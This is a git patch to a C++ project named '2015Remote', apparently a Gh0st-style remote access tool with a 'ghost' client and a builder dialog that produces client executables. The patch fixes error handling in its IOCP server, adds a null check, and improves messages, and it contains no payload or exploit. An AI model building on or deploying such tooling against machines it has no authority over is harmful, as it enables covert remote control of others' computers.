From 2ffa2534f16b6a2646f9db5ebd4a12f49d3c9ba5 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang Date: Sun, 14 Mar 2021 11:44:56 +0800 Subject: [PATCH] fix: IOCPServer::StartServer and IOCPClient::WorkThreadProc --- 2015Remote.sln | 3 +++ client/IOCPClient.cpp | 2 +- server/2015Remote/2015RemoteDlg.cpp | 7 +++++-- server/2015Remote/BuildDlg.cpp | 4 ++-- server/2015Remote/IOCPServer.cpp | 26 ++++++++++++++++---------- server/2015Remote/IOCPServer.h | 2 +- 6 files changed, 28 insertions(+), 16 deletions(-) diff --git a/2015Remote.sln b/2015Remote.sln index 83bd53e..3909879 100644 --- a/2015Remote.sln +++ b/2015Remote.sln @@ -8,6 +8,9 @@ EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ghost", "client\ghost_vs2015.vcxproj", "{3F756E52-23C2-4EE4-A184-37CF788D50A7}" EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "TestRun", "client\TestRun_vs2015.vcxproj", "{B5D7F0E5-E735-4B17-91AE-866CE7E6ABD3}" + ProjectSection(ProjectDependencies) = postProject + {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} = {BEBAF888-532D-40D3-A8DD-DDAAF69F49AA} + EndProjectSection EndProject Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ServerDll", "client\ClientDll_vs2015.vcxproj", "{BEBAF888-532D-40D3-A8DD-DDAAF69F49AA}" EndProject diff --git a/client/IOCPClient.cpp b/client/IOCPClient.cpp index 39ec430..564cb6c 100644 --- a/client/IOCPClient.cpp +++ b/client/IOCPClient.cpp @@ -192,7 +192,7 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam) }else{ //正确接收就调用OnRead处理,转到OnRead This->OnServerReceiving(szBuffer, iReceivedLength); - if (This->m_Manager->m_bIsDead) + if (This->m_Manager!=NULL && This->m_Manager->m_bIsDead) { printf("****** Recv bye bye ******\n"); // 不论是否退出客户端和主控端,都退出客户端 diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index f7ce6c8..2d92a03 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -787,10 +787,13 @@ VOID CMy2015RemoteDlg::ListenPort() VOID CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection) { m_iocpServer = new IOCPServer; //动态申请我们的类对象 - - if (m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)==FALSE) + UINT ret = 0; + if ( (ret=m_iocpServer->StartServer(NotifyProc, OfflineProc, nPort)) !=0 ) { OutputDebugStringA("======> StartServer Failed \n"); + char code[32]; + sprintf_s(code, "%d", ret); + MessageBox("调用函数StartServer失败! 错误代码:"+CString(code)); } CString strTemp; diff --git a/server/2015Remote/BuildDlg.cpp b/server/2015Remote/BuildDlg.cpp index 723e1b6..df34650 100644 --- a/server/2015Remote/BuildDlg.cpp +++ b/server/2015Remote/BuildDlg.cpp @@ -77,7 +77,7 @@ void CBuildDlg::OnBnClickedOk() strFile = path; //得到当前未处理文件名 if (_access(path, 0) == -1) { - MessageBox("\"TestRun.exe\"不存在!"); + MessageBox(CString(path)+"\r\n进程模板\"TestRun.exe\"不存在!"); return CDialog::OnOK(); } @@ -101,7 +101,7 @@ void CBuildDlg::OnBnClickedOk() File.Write(szBuffer,dwFileSize); File.Close(); delete[] szBuffer; - MessageBox("生成成功!"); + MessageBox("生成成功!文件位于:\r\n"+ strSeverFile); } catch (CMemoryException* e) { diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp index 3e271f3..d092273 100644 --- a/server/2015Remote/IOCPServer.cpp +++ b/server/2015Remote/IOCPServer.cpp @@ -140,7 +140,8 @@ IOCPServer::~IOCPServer(void) WSACleanup(); } -BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) +// 返回错误码0代表成功,否则代表错误信息. +UINT IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort) { m_NotifyProc = NotifyProc; m_OfflineProc = OffProc; @@ -148,14 +149,14 @@ BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U if (m_hKillEvent==NULL) { - return FALSE; + return 1; } m_sListenSocket = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED); //创建监听套接字 if (m_sListenSocket == INVALID_SOCKET) { - return FALSE; + return 2; } m_hListenEvent = WSACreateEvent(); @@ -165,7 +166,7 @@ BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U closesocket(m_sListenSocket); m_sListenSocket = INVALID_SOCKET; - return FALSE; + return 3; } int iRet = WSAEventSelect(m_sListenSocket, //将监听套接字与事件进行关联并授予FD_ACCEPT的属性 @@ -174,6 +175,7 @@ BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U if (iRet == SOCKET_ERROR) { + int a = GetLastError(); closesocket(m_sListenSocket); m_sListenSocket = INVALID_SOCKET; @@ -181,7 +183,7 @@ BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U m_hListenEvent = WSA_INVALID_EVENT; - return FALSE; + return a; } SOCKADDR_IN ServerAddr; @@ -204,13 +206,14 @@ BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U m_hListenEvent = WSA_INVALID_EVENT; - return FALSE; + return a; } iRet = listen(m_sListenSocket, SOMAXCONN); if (iRet == SOCKET_ERROR) { + int a = GetLastError(); closesocket(m_sListenSocket); m_sListenSocket = INVALID_SOCKET; @@ -218,7 +221,7 @@ BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U m_hListenEvent = WSA_INVALID_EVENT; - return FALSE; + return a; } m_hListenThread = @@ -230,18 +233,19 @@ BOOL IOCPServer::StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, U NULL); if (m_hListenThread==INVALID_HANDLE_VALUE) { + int a = GetLastError(); closesocket(m_sListenSocket); m_sListenSocket = INVALID_SOCKET; WSACloseEvent(m_hListenEvent); m_hListenEvent = WSA_INVALID_EVENT; - return FALSE; + return a; } //启动工作线程 1 2 InitializeIOCP(); - return TRUE; + return 0; } @@ -385,7 +389,9 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam) ContextObject = NULL; } - catch (...) {} + catch (...) { + OutputDebugStringA("This->HandleIO catched an error!!!"); + } } } diff --git a/server/2015Remote/IOCPServer.h b/server/2015Remote/IOCPServer.h index 2b03921..b2fd83c 100644 --- a/server/2015Remote/IOCPServer.h +++ b/server/2015Remote/IOCPServer.h @@ -76,7 +76,7 @@ public: typedef void (CALLBACK *pfnNotifyProc)(CONTEXT_OBJECT* ContextObject); typedef void (CALLBACK *pfnOfflineProc)(CONTEXT_OBJECT* ContextObject); - BOOL StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort); + UINT StartServer(pfnNotifyProc NotifyProc, pfnOfflineProc OffProc, USHORT uPort); static DWORD WINAPI ListenThreadProc(LPVOID lParam); BOOL InitializeIOCP(VOID);